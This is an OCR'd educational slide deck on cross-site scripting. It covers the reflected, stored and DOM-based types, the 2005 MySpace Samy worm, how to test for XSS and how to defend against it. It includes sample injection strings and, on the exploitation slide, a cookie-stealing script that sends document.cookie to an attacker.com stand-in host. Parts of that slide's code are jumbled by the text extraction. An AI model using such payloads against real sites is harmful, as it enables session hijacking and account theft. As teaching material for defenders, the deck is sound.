Cross-Site Scripting (XSS):
The Worm in the Social
Network

Understanding, Identifying, and Defending Against a Persistent Web Threat
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When Your Website Serves Malicious Code

What is Cross-Site Scripting?

XSS is a client-side code injection attack where attackers inject malicious
scripts—typically JavaScript—into trusted websites. When a victim's
browser loads the compromised page, the malicious script executes as if it
were legitimate site code.

The key danger: The browser trusts the script because it's delivered from a
domain the user already trusts.
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What Can Malicious JavaScript Do?

A successful XSS attack opens the door to devastating consequences for users and organizations alike.

Session Hijacking

Steal session cookies to impersonate
users and gain unauthorized access

Keylogging
Record everything users type,

capturing passwords and personal
data

Phishing

Display fake login forms to harvest
user credentials

Website Defacement

Modify page content to spread
misinformation or damage reputation

Data Theft

Scrape sensitive information directly
from the page

Malware Delivery

Redirect users to malicious sites that
download harmful software
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Case Study: The MySpace
"Samy" Worm (2005)

How One Script Took Down a Social Network

In October 2005, security researcher Samy Kamkar unleashed a stored XSS

worm that became internet legend.
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The Payload

A complex JavaScript payload hidden in Samy's profile "About
Me" section, designed to bypass MySpace's filtering

The Mechanism

When users viewed Samy's profile, the script forced their
browser to send him a friend request and copy the worm to
their own profile

Exponential Spread

Within 20 hours, over 1 million users were infected, their
profiles displaying: "but most of all, samy is my hero"

The Aftermath

MySpace was forced offline to patch the vulnerability, marking
one of the fastest-spreading web worms in history
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Type 1: Reflected XSS (Non-

Persistent)
The "One-Shot" Attack

In reflected XSS, the injected script is immediately reflected back to the user
in a response—such as search results or error messages. The malicious
code is hot stored on the server.

Delivery method: Requires the victim to click a specially crafted malicious
link.

[0 Example Attack URL

https://example.com/search?query=<script>alert('XSS')
</script>

When clicked, the script executes in the victim's browser within
the context of the trusted domain.
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Type 2: Stored XSS (Persistent)

The "Lingering Threat"

\\hL

Stored XSS is the most dangerous variant. The malicious script is
permanently saved on the target server—in databases, forum
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comments, user profiles, or message boards.

The danger: The script automatically executes for every user who
views the compromised page. No special link required.

This persistent nature made stored XSS the weapon behind one of
the most famous worms in internet history...
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Type 3: DOM-Based XSS

The Client-Side Self-Attack

DOM-based XSS exists entirely within client-side code. The
vulnerability occurs when JavaScript takes data from a DOM
source (like URL fragments or parameters) and writes it back
into the DOM without proper sanitization.

Critical difference: The malicious payload may never reach
the server, making it invisible to server-side security logs and
difficult to detect with traditional monitoring.

[J)  Example Vulnerable Code
document.write(location.hash.substring(1));

An attacker can craft a URL like: example.com#<script>alert('XSS')</script>
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How to Identify XSS
Vulnerabilities

Finding XSS flaws requires systematic testing of every user input point in

your application.

n Map the Application

|dentify every point where user input is accepted: search bars,
forms, URL parameters, file uploads, and API endpoints

Test Input Points

Submit HTML and JavaScript payloads like <b>test</b> or
<script>alert(1)</script> into these inputs

O\ Observe the Output

Check if payloads are reflected and executed. Use browser
developer tools to inspect the DOM, network requests, and

console errors
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Exploitation: Beyond the
alert() Box

From Proof-of-
[J Cookie-Stealing

Concept to Data
Payload
Theft
While alert(1) proves a <script>
vulnerability exists, real-world var img = new Image();
attacks are far more img.src =
sophisticated. The primary 'http://attacker.com/steal
target is often the user's f=
session cookie. + document.cookie; B |
</script> o . :
With stolen cookies, attackers S|
can: This script sends the victim's
e Impersonate the victim cookie to an attacker-
completely controlled server disguised

.. as an image request.
e Access sensitive account g 9

data

e Perform actions as the user



https://gamma.app/?utm_source=made-with-gamma

Building a Strong Defense ')

Protecting against XSS requires multiple layers of defense. Here are the most critical mitigation techniques.

Output Encoding Content Security Policy (CSP)
The #1 defense. Always encode user-supplied data before A browser-level control specifying which domains can
rendering it in HTML to prevent interpretation as active execute scripts on your pages
content
HTTPOnNIly Cookies Input Validation & Sanitization
Set this flag on session cookies to prevent JavaScript from Validate all input server-side and use trusted libraries to
accessing them, blocking cookie theft attacks sanitize user-submitted HTML

Treat all user input as untrusted.
Encode on output.
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